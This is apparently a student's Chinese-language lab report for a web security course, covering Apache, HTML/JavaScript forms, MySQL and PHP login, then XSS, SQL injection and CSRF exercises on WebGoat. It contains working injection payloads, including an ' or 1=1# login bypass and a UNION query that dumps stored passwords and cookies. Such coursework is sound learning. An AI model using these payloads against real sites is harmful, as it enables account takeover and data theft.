20192410 2021-2022-2 《网络与系统攻防技术》实验八 Web安全 实验报告

20192410 2021-2022-2 《网络与系统攻防技术》实验八 Web安全 实验报告


1.实验内容

1.实验要求

(1)Web前端HTML

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

(2)Web前端javascipt

在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。

(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

(4)Web后端:编写PHP网页,连接数据库,进行用户认证

(5)最简单的SQL注入,XSS攻击测试

(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

2.1 Web前端HTML

  • 启动apache服务,并查看80端口

      systemctl start apache2
    
      netstat -tupln |grep 80
    

打开浏览器输入127.0.0.1,查看apche是否打开

这是apache的默认页面

  • 编写一个含有表单的HTML

    在/var/www/html目录下新建一个html文件

在浏览器中输入127.0.0.1/20192410.html打开刚刚编写的网页

2.2 Web前端javascipt

  • 在2.1的基础上,编写JavaScript验证用户名、密码的规则

  • 验证效果

  • 回显“欢迎+输入的用户名”

  • 回显用户名注入HTML及JavaScript

    注入JavaScript

      <script language="JavaScript" type="text/javascript">alert("javascript注入by20192410");</script>
    

    注入html

      <h1>不欢迎20192410</h1>
    

2.3 web后端 MySQL基础

  • 开启mysql服务

      service mysql start
    
  • 进入MySQL

      mysql
    
  • 查看数据库信息

      show databases;
    

  • 建库

      create database 20192410lxf;
    

  • 创建用户

      grant select on 20192410lxf.* to lxf@localhost identified by "20192410lxf";
    

  • 修改密码

      set password for root@'localhost'=password('20192410');
    

  • 建表

      create table userinfo (username VARCHAR(20),password VARCHAR(20));
    

2.4 web后端 PHP

  • 在/var/www/html文件夹下新建php文件

  • 修改之前的html文件,使其点击登录按钮后能跳转到对应的php页面

  • 在数据库中添加用户数据

      insert into userinfo values('lxf','20192410');
    

  • 测试效果

2.5 最简单的SQL注入,XSS攻击测试

  • sql注入

    用户名一栏输入

      ' or 1=1#
    

    密码随意

  • xss

    用户名一栏输入

      <script>alert("xss by 20192410");</script>
    

2.5 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击

2.5.1 sql注入

webgoat->(A1)Injection->SQL Injection(advanced)->3

  • 第一种 联合查询(union)注入

Name框输入:

Dave'	union	select userid, user_name, password, cookie, '5','6',7 from user_system_data—ss

  • 第二种 堆叠注入(query chaining)

Name框输入:

1';select * from user_system_data-- ss

2.5.2 xss

webgoat->(A7)Cross-Site Scripting(XSS)->7

我们在输入框中输入一些代码,而浏览器又不会对用户输入做格式验证,因此就会导致浏览器执行非法代码,进而完成xss。

之后尝试在密码框输入,发现会失败

最后发现点击UpdateCart,下方将credit cart number显示出来了,那么用户名的输入框应该是一个攻击点。

2.5.3 csrf

webgoat->(A8:2013)->Crss-Site Request Forgeries

  • 使用Burpsuite拦截请求

  • 将请求发送到重发器并查看响应

  • 删除请求中的Referer并且csrf = false,查看响应,成功获取flag

  • 删除请求中的Referer并且csrf = true,查看响应,成功获取flag

  • 修改请求中的Host, 使得Host内容与Referer不同

  • 输入flag,页面提示成功

3.问题及解决方案

  • 问题1:webgoat和burpsuit需要的java版本不同,无法同时使用

  • 问题1解决方案:可以让进入同一局域网下别人开启的webgoat。或者将webgoat的jar包放到所需版本的Java目录下,而本机使用另一个Java版本即可同时使用burpsuit

5.学习感悟、思考等

  本次实验的内容是本学期最多的了,不得不感叹web内容的丰富程度。通过本次实验,对于html、JavaScript、php、sql注入、xss、csrf都有了一定的了解,同时也学习使用了解题平台webgoat,总之收获还是非常多的,这类平台对于我们的学习还是非常有帮助的,不仅有教程,最主要的是题目难度由浅入深,还是非常适合新手的。

posted @ 2022-06-06 17:31  fxlykd  阅读(251)  评论(0编辑  收藏  举报